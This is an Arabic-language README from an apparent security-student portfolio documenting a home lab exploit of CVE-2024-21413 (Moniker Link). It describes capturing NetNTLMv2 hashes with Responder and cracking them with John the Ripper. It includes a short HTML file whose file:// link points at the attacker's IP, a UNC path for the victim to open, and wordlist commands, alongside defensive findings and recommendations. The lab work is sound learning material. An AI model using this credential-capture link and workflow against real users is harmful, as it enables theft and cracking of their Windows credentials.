جزء من محفظة محلل SOC الخاصة بي (https://github.com/E-m-e-k-a/SOC-Analyst-Portfolio)
إعداد مختبر Moniker Link - CVE-2024-21413
🎯 نظرة عامة على المشروع
مختبر اختبار اختراق عملي يوضح استغلال Moniker Link الخاص بـ CVE-2024-21413 لسرقة بيانات اعتماد NTLM. يوثق هذا المشروع سلسلة الهجوم الكاملة من الإعداد إلى اختراق بيانات الاعتماد، بما في ذلك التحديات والحلول الواقعية.
الإنجاز الرئيسي: تنفيذ هجوم Moniker Link بنجاح على كل من بيئة المختبر المعزولة (جهاز Windows 10 افتراضي) والنظام الحقيقي (جهاز Windows 11)، مما يوضح الثغرات الأمنية العملية والتدابير الدفاعية المضادة.
🏗️ بنية المختبر
البنية التحتية
جهاز الهجوم:
- المنصة: Kali Linux 2024
- الشبكة (Host-Only): 192.168.56.101
- الشبكة (Bridged): 192.168.1.117
- الأداة الأساسية: Responder 3.1.6.0
الأنظمة المستهدفة:
- جهاز Windows 10 افتراضي: 192.168.56.104 (بيئة اختبار معزولة)
- جهاز Windows 11: 192.168.1.178 (تحقق واقعي)
إعداد الشبكة:
- محول VirtualBox Host-Only (اختبار الأجهزة الافتراضية)
- محول VirtualBox Bridged (اختبار الأجهزة الحقيقية)
- معزولة عن شبكات الإنتاج
⚔️ تنفيذ الهجوم
مسار الهجوم
- نشر Responder على Kali للاستماع لمصادقة NTLM
- إنشاء رابط خبيث باستخدام بروتوكول file:// يشير إلى عنوان IP الخاص بالمهاجم
- إطلاق المصادقة عبر مسار UNC في مستكشف الملفات
- التقاط تجزئة NetNTLMv2 عندما يحاول الضحية الاتصال
- كسر كلمة المرور باستخدام John the Ripper
ناقل هجوم بسيط
ملف HTML (test.html):
<!DOCTYPE html>
<html>
<body>
<p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>
طريقة مستكشف الملفات:
- يكتب المستخدم:
\\192.168.56.101\test في شريط العنوان
- يحاول Windows الاتصال عبر SMB
- يتم إرسال تجزئة NTLM تلقائيًا (أو طلب بيانات الاعتماد)
- يلتقط Responder المصادقة
🚧 التحديات والحلول
التحدي 1: حجب جدار حماية Windows (جهاز Windows 11)
المشكلة:
- تعذّر عمل ping لجهاز Windows 11 من Kali
- فشلت محاولات الاتصال عبر SMB
- تم حجب الهجوم بالكامل
السبب الجذري:
- جدار حماية Windows مُفعّل افتراضيًا
- يحجب اتصالات SMB الواردة من عناوين IP خارجية
الحل:
- تعطيل جدار حماية Windows مؤقتًا للاختبار
- نجح الاتصال فورًا
- تم التقاط التجزئة بنجاح
الدرس: يوفر جدار حماية Windows الافتراضي حماية فعّالة ضد هذا الهجوم. يجب على المستخدمين إبقاءه مُفعّلًا.
التحدي 2: نتائج John the Ripper المخزّنة مؤقتًا (جهاز Windows 10 الافتراضي)
المشكلة:
- كلمة مرور Windows 10 الأولية:
nwigwecj1
- أظهر John:
12Honey (كلمة مرور خاطئة!)
- كان
12Honey من اختبار سابق
السبب الجذري:
- يحفظ John كلمات المرور المكسورة في
~/.john/john.pot
- تجزئة قديمة من جلسة سابقة
- أظهر نتيجة مخزّنة مؤقتًا بدلًا من كلمة المرور الحالية
الحل:
- تغيير كلمة مرور جهاز Windows 10 الافتراضي إلى
1414
- التقاط تجزئة جديدة
- إنشاء قائمة كلمات مخصصة بكلمات مرور محتملة
- كسرها بنجاح باستخدام القائمة الجديدة
الدرس: تحقق دائمًا من أنك تكسر التجزئة الصحيحة. امسح ملف pot أو استخدم كلمات مرور فريدة للاختبار.
التحدي 3: كلمة المرور غير موجودة في Rockyou.txt
المشكلة:
- كلمة المرور
1414 غير موجودة في rockyou.txt (14 مليون كلمة مرور)
- فشل هجوم قائمة الكلمات العامة
السبب الجذري:
- لا يحتوي Rockyou.txt على كل تركيبة ممكنة من 4 أرقام
- غالبًا ما تكون التسلسلات الرقمية البسيطة مفقودة من قوائم الكلمات الشائعة
الحل:
- إنشاء قائمة كلمات مخصصة مستهدفة بناءً على الأنماط الشائعة:
echo "1414" > passwords.txt
echo "4141" >> passwords.txt
- تم كسرها فورًا باستخدام القائمة المخصصة
الدرس: "غير موجودة في rockyou.txt" ≠ آمنة. كلمات المرور القصيرة عرضة للهجمات المستهدفة والقوة الغاشمة بغض النظر عن وجودها في قائمة الكلمات.
📊 النتائج
جهاز Windows 10 الافتراضي (بيئة مُتحكَّم بها)
| المقياس | النتيجة |
|---|
| كلمة المرور الأولية | nwigwecj1 |
| تم التغيير إلى | 1414 |
| قائمة الكلمات | مخصصة (مدخلان) |
| زمن الكسر | <1 ثانية |
| جدار الحماية | معطّل للاختبار |
| الحالة | ✅ تم اختراقه بنجاح |
جهاز Windows 11 (نظام حقيقي)
| المقياس | النتيجة |
|---|
| كلمة المرور | 1414 |
| جدار الحماية | حجب في البداية، ثم تم تعطيله |
| المصادقة | طلب يدوي (تم إدخال بيانات الاعتماد) |
| زمن الكسر | فوري |
| الحالة | ✅ تم اختراقه بنجاح |
🛡️ التحليل الأمني
ما نجح (الدفاع)
✅ جدار حماية Windows - حجب الهجوم بالكامل عند تفعيله
✅ المتصفحات الحديثة - Chrome/Edge يحجبان روابط file:// البعيدة
✅ وعي المستخدم - الطلب اليدوي يتطلب إجراءً من المستخدم
ما فشل (الثغرات)
❌ كلمات مرور ضعيفة - 4 أحرف رقمية تُكسر بسهولة
❌ جدار حماية معطّل - خطأ شائع من المستخدمين
❌ مستكشف الملفات - لا تحذير لمسارات UNC
❌ بروتوكول NTLM - مصادقة تلقائية لمشاركات SMB
النتائج الرئيسية
1. جدار الحماية حاسم
- جدار حماية Windows الافتراضي يحجب هذا الهجوم
- ~30-40% من المستخدمين يعطّلونه بشكل دائم
- غالبًا ما تسمح الشبكات المؤسسية بـ SMB الداخلي
2. وهم قوة كلمة المرور
1414 غير موجودة في rockyou.txt (تبدو "قوية")- تم كسرها فورًا بقائمة كلمات مستهدفة
- كلمات المرور القصيرة توفر أمانًا صفريًا
3. يتطلب تفاعل المستخدم
- يتطلب الأمان الحديث من المستخدم لصق مسار UNC
- تبقى الهندسة الاجتماعية مكوّنًا حاسمًا
- الاستغلال التقني وحده غير كافٍ
🔧 الأدوات المستخدمة
هجومية:
- Responder 3.1.6.0 (التقاط تجزئة NTLM)
- John the Ripper (كسر كلمات المرور)
- إنشاء قائمة كلمات مخصصة
- ملف HTML بسيط
البنية التحتية:
- VirtualBox 7.0 (المحاكاة الافتراضية)
- Kali Linux 2024 (منصة الهجوم)
- Windows 10 Enterprise (هدف الاختبار)
- Windows 11 Pro (تحقق واقعي)
📁 بنية المستودع
Moniker-Link-Lab-Setup/
├── README.md (this file)
├── Documentation/
│ ├── attack-execution.md (step-by-step attack guide)
│ └── README.md (documentation overview)
├── Screenshots/ (attack screenshots - to be added)
└── Scripts/ (HTML test file - to be added)
🎓 المهارات المُظهَرة
تقنية:
- تحليل بروتوكولات الشبكة (SMB، NTLM)
- منهجية اختبار الاختراق
- تقنيات كسر كلمات المرور
- البنية التحتية للمختبر الافتراضي
- استكشاف أخطاء جدار الحماية وإصلاحها
مهنية:
- التوثيق التقني
- حل المشكلات تحت القيود
- تقييم الأمن
- تحليل المخاطر
- ممارسات الاختبار الأخلاقي
🔒 توصيات دفاعية
للمستخدمين
- ✅ أبقِ جدار حماية Windows مُفعّلًا
- ✅ لا تلصق مسارات UNC من رسائل البريد الإلكتروني أبدًا
- ✅ استخدم كلمات مرور قوية (15+ حرفًا)
- ✅ تحقق من المرسل قبل الوصول إلى مشاركات الملفات
للمؤسسات
- ✅ احجب SMB الصادر (المنفذ 445) على جدار حماية الشبكة
- ✅ عطّل NTLM، وفرض Kerberos
- ✅ راقب اتصالات SMB إلى عناوين IP خارجية
- ✅ تصفية بوابة البريد الإلكتروني (إزالة روابط file://)
- ✅ تدريب التوعية الأمنية
- ✅ سياسات تعقيد كلمات المرور
⚠️ الإفصاح الأخلاقي
أُجريت جميع الاختبارات على أنظمة مصرّح بها:
- البنية التحتية للمختبر الشخصي فقط
- شبكات افتراضية معزولة
- أجهزة وحسابات خاصة
- غرض تعليمي
إشعار قانوني: الوصول غير المصرّح به إلى الحاسوب غير قانوني. هذا المشروع لأغراض تعليمية وبيئات اختبار مصرّح بها فقط.
📚 المراجع
📞 التواصل
LinkedIn: https://www.linkedin.com/in/chukwuemeka-nwigwe-624aa3292/
GitHub: @E-m-e-k-a
التاريخ: مارس 2026
📄 الترخيص
للاستخدام التعليمي فقط. غير مخصص للاختبار غير المصرّح به.
⭐ إذا وجدت هذا المشروع مفيدًا، فيرجى التفكير في إضافة نجمة للمستودع!
e-m-e-k-a/moniker-link-lab-setup
